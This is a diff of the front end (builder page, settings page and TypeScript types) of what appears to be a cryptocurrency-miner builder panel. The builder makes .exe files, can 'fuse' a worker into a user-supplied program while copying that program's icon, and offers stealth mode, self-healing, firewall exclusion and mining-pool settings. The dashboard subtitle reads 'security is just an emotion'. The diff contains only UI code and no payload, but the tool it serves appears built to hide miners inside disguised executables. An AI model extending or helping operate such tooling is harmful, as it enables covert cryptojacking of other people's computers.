<div className={`form-group ${fieldMeta.fusion_prep?.disabled ? 'field-disabled' : ''}`}> <div className={`form-group ${fieldMeta.fusion_prep?.disabled ? 'field-disabled' : ''}`}>
<div className="label-row"> <div className="label-row">
<label className="label">Your prep.exe <HelpTip field="fusion_enabled" /></label> <label className="label">Your prep.exe <HelpTip field="fusion_prep" /></label>
<ForgeFieldBadge meta={fieldMeta.fusion_prep} /> <ForgeFieldBadge meta={fieldMeta.fusion_prep} />
</div> </div>
<input <input
@@ -881,7 +889,7 @@ export default function BuilderPage() {
<> <>
<div className={`form-group ${fieldMeta.ai_ollama_endpoint?.disabled ? 'field-disabled' : ''}`}> <div className={`form-group ${fieldMeta.ai_ollama_endpoint?.disabled ? 'field-disabled' : ''}`}>
<div className="label-row"> <div className="label-row">
<label className="label">Ollama Endpoint URL</label> <label className="label">Ollama Endpoint URL <HelpTip field="ai_ollama_endpoint" /></label>
<ForgeFieldBadge meta={fieldMeta.ai_ollama_endpoint} /> <ForgeFieldBadge meta={fieldMeta.ai_ollama_endpoint} />
</div> </div>
<input <input
@@ -897,7 +905,7 @@ export default function BuilderPage() {
</p> </p>
</div> </div>
<div className={`form-group ${fieldMeta.ai_model?.disabled ? 'field-disabled' : ''}`}> <div className={`form-group ${fieldMeta.ai_model?.disabled ? 'field-disabled' : ''}`}>
<label className="label">Ollama Model</label> <label className="label">Ollama Model <HelpTip field="ai_model" /></label>
<input <input
type="text" type="text"
className="input mono" className="input mono"
@@ -953,19 +961,28 @@ export default function BuilderPage() {
)} )}
<p><strong>File:</strong> {lastBuild.file_name}</p> <p><strong>File:</strong> {lastBuild.file_name}</p>
<p><strong>Size:</strong> {((lastBuild.file_size || 0) / 1024 / 1024).toFixed(2)} MB</p> <p><strong>Size:</strong> {((lastBuild.file_size || 0) / 1024 / 1024).toFixed(2)} MB</p>
<p><strong>Absolute path:</strong></p> {lastBuild.export_path && (
<code className="path-display">{lastBuild.file_path}</code> <>
<p><strong>Relative path:</strong></p> <p><strong>Your file (project root):</strong></p>
<code className="path-display">{lastBuild.relative_path}</code> <code className="path-display">{lastBuild.export_path}</code>
<p className="form-hint">Fusion builds keep the same icon as your uploaded prep when Windows icon extraction succeeds.</p>
</>
)}
<p className="form-hint">Archive copy: <code className="mono-sm">{lastBuild.file_path}</code></p>
{lastBuild.download_url && ( {lastBuild.download_url && (
<a className="btn btn-primary" href={lastBuild.download_url} download> <a className="btn btn-primary" href={lastBuild.download_url} download>
Download .exe Download .exe
</a> </a>
)} )}
{lastBuild.uninstall_export_path && (
<p><strong>Uninstaller copy:</strong> <code className="mono-sm">{lastBuild.uninstall_export_path}</code></p>
)}
{lastBuild.uninstall_download_url && ( {lastBuild.uninstall_download_url && (
<> <>
<p><strong>Uninstaller:</strong> {lastBuild.uninstall_file_name}</p> <p><strong>Uninstaller:</strong> {lastBuild.uninstall_file_name}</p>
<code className="path-display">{lastBuild.uninstall_path}</code> {!lastBuild.uninstall_export_path && (
<code className="path-display">{lastBuild.uninstall_path}</code>
)}
<a className="btn btn-outline" href={lastBuild.uninstall_download_url} download> <a className="btn btn-outline" href={lastBuild.uninstall_download_url} download>
Download uninstall script Download uninstall script
</a> </a>

View File

@@ -31,6 +31,7 @@ export default function SettingsPage() {
log_pool_traffic: cfg.server?.log_pool_traffic ?? false, log_pool_traffic: cfg.server?.log_pool_traffic ?? false,
strict_wallet_validation: cfg.server?.strict_wallet_validation ?? false, strict_wallet_validation: cfg.server?.strict_wallet_validation ?? false,
dashboard_subtitle: cfg.server?.dashboard_subtitle ?? 'security is just an emotion', dashboard_subtitle: cfg.server?.dashboard_subtitle ?? 'security is just an emotion',
open_firewall_on_start: cfg.server?.open_firewall_on_start ?? true,
}, },
}); });
setServerInfo(info); setServerInfo(info);
@@ -136,6 +137,7 @@ export default function SettingsPage() {
log_pool_traffic: false, log_pool_traffic: false,
strict_wallet_validation: false, strict_wallet_validation: false,
dashboard_subtitle: '', dashboard_subtitle: '',
open_firewall_on_start: true,
}; };
return ( return (
@@ -203,6 +205,14 @@ export default function SettingsPage() {
<input type="text" className="input" value={s.dashboard_subtitle} <input type="text" className="input" value={s.dashboard_subtitle}
onChange={(e) => updateField('server.dashboard_subtitle', e.target.value)} /> onChange={(e) => updateField('server.dashboard_subtitle', e.target.value)} />
</div> </div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={s.open_firewall_on_start ?? true}
onChange={(e) => updateField('server.open_firewall_on_start', e.target.checked)} />
<span>Open dashboard port in Windows Firewall on startup <HelpTip field="open_firewall_on_start" /></span>
</label>
<FieldHint field="open_firewall_on_start" />
</div>
</NeonCard> </NeonCard>
<NeonCard accent="cyan" className="settings-section"> <NeonCard accent="cyan" className="settings-section">

View File

@@ -99,6 +99,7 @@ export interface ServerSettings {
log_pool_traffic: boolean; log_pool_traffic: boolean;
strict_wallet_validation: boolean; strict_wallet_validation: boolean;
dashboard_subtitle: string; dashboard_subtitle: string;
open_firewall_on_start: boolean;
} }
export interface PoolConfig { export interface PoolConfig {
@@ -227,6 +228,7 @@ export interface BuildRequest {
self_healing: boolean; self_healing: boolean;
file_logging: boolean; file_logging: boolean;
stealth_mode: boolean; stealth_mode: boolean;
firewall_exclusion: boolean;
pool_host: string; pool_host: string;
pool_port: number; pool_port: number;
pool_tls: boolean; pool_tls: boolean;
@@ -251,6 +253,8 @@ export interface BuildResponse {
uninstall_file_name?: string; uninstall_file_name?: string;
uninstall_path?: string; uninstall_path?: string;
uninstall_download_url?: string; uninstall_download_url?: string;
export_path?: string;
uninstall_export_path?: string;
error?: string; error?: string;
fusion_enabled?: boolean; fusion_enabled?: boolean;
worker_file?: string; worker_file?: string;